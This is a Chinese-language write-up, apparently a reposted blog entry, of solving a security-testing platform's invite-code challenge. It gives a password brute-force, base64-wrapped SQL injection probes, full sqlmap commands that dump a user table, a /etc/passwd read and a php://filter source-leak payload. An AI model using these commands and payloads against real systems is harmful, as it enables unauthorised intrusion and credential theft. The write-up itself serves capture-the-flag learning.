记录一次众测平台邀请码获取
0x00 背景
今天剛到公司,看到剛哥在群里發的消息。
打開一看是個眾測平臺,注冊的時候提示需要邀請碼,而邀請碼的獲得方式有兩種,一種是老用戶邀請,另一種則需要通過平臺提供的一個小游戲獲取flag,然而我們有不認識老用戶,沒辦法那只能去找flag了。
0x01 密碼爆破
打開網址看到只有一個用戶名密碼,并沒有存在驗證碼, 那肯定是系那是用burp軟件密碼爆破一波。
密碼非常簡單,根據返回的狀態碼找到正確的賬號密碼test/test123.
0x02 sql注入(整形手動)
使用破解的賬號密碼登錄系統,只有兩個鏈接地址,分別打開看看,其中一個鏈接地址中包含aid參數,對其進行了一波簡單的sql注入嘗試后,并沒有發現什么可用的價值,暫時先放著。
接下來嘗試把aid=1換成-1、0、1、2、3、4看看頁面變化 ,當aid=3時頁面出現了更多鏈接,如下圖:
然后將這些鏈接挨個打開,當打開第4個鏈接
(http://119.3.191.245:8877/user/Article.php?aid=3&id=NQ==)?
時,發現與其他鏈接有點不一樣,多了一個參數,將NQ==嘗試用base64解密后是5,然后對該參數進行sql注入嘗試。將5 and 1=1進行base64加密后替換至url中觀察頁面返回結果,如下圖:
然后將5 and 1=2進行base64加密后替換至url中觀察頁面返回結果,結果發現端倪,如下圖:
到這里可以基本判斷此處存在sql注入漏洞,然后利用order by(或者union select 1,2,3,4,5,6,N)確定當前數據庫的字段數目,為接下來爆庫表字段做準備。
將order by n(n是猜測的字段數目)加密后放到地址欄最后,經過多次嘗試最后的字段數為order by 3.
已知字段數為3,那么就可以利用union聯合查詢判斷網站顯示的內容在數據庫的第幾列。當使用5 union select 1,2,3? --+加密添加到id=之后,結果網頁顯示"感知到注入跡象,啟動第四阻斷機制"的提示,猜測可能是因為網站禁止使用union函數。
0x03 sql注入(盲注)
既然union不讓用,那就試試盲注,因為手動盲注太費時間,我選擇使用sqlmap工具,構造命令
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py --level 3(*是指定跑注入的位置,--cookie=“使用burp抓包得到自己的cookie”,--batch默認選擇確定,--random-agent選項將sqlmap的標準值更改為任意值,利用工具base64encode.py解碼,--level 3 同時顯示注入的payload。)
注入成功,接下來跑網站的數據庫
python sqlmap -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py --dbs最后跑出來五個數據庫,除了level2其余4個均為mysql的自帶庫,然后選擇level2數據庫跑數據表,構造命令如下:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py -D "level2" --tableslevel2庫中存在user和article兩個表,那基本可以判斷user表示保存登錄賬號密碼的表,article是剛才那個頁面像小說頁面的文章表,如下圖:
查看user表中內容,構造命令如下:
python sqlmap.py -u "http://119.3.191.245:8877/user/Article.php?aid=3&id=*" --cookie="PHPSESSID=oteibuuop3nr3oj8d7e899ulg1" --batch --random-agent --tamper base64encode.py -D "level2" -T "user" --dump成功得到所有賬戶名密碼,看到其中有admin賬戶,登錄后看看是否有flag線索。
0x04 sql文件包含
登錄admin賬號后頁面幾乎與test頁面無兩樣,不過在同樣的文本后多了一個小表情,應該是某種線索,點擊右鍵查看源代碼,發現圖片地址,如下圖:
看到圖片url中的filename參數,第一感覺是嘗試文件包含,首先讀取filename=/etc/passwd成功讀取,可以很確定此處此處存在任意文件讀取漏洞。
任意文件讀取漏洞好像對于拿flag沒有什么用,不過我們可以嘗試讀取當前這些頁面的源文件,看看有沒有什么線索。poc構造如下:
filename=php://filter/read=convert.base64-encode/resource=Read.php
將Read.php文件的內容以base64形式輸出,將得到的內容解密,可以看到Read.php的源碼如下圖:
看到文件包含函數requlre_once引用了Base.php文件,繼續嘗試讀取Base.php文件,如下圖:
將解密的代碼拉到最后看到"關于邀請碼"的提示,繼續讀取meifahufujiulaimingdu.php源碼,源碼文件內容如下:
<?php#關于邀請碼,嗯,一目了然。require_once("Base.php");error_reporting(0);//$user = isUser();$url = "http://172.17.0.1:3000/code";$email = "";function send_post($url, $post_data) {$postdata = http_build_query($post_data);$options = array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => $postdata,'timeout' => 15 * 60));$context = stream_context_create($options);$result = file_get_contents($url, false, $context);return $result; }$post_data = array('e' => $_POST['email'] );echo send_post($url, $post_data);#ps:建團?什么建團?啊,哦,那個啊,我記得小姐把它扔到static下面去了,有心的話,去那兒找找吧。根據得到的信息了解到需要用post方式提交email=參數獲取邀請碼,構造接口如下圖:
成功返回flag,提交flag注冊成功。
總結
以上是生活随笔為你收集整理的记录一次众测平台邀请码获取的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 两个原子操作组合到一块不一定是能保证原子
- 下一篇: neo4j与mysql数据库_Neo4j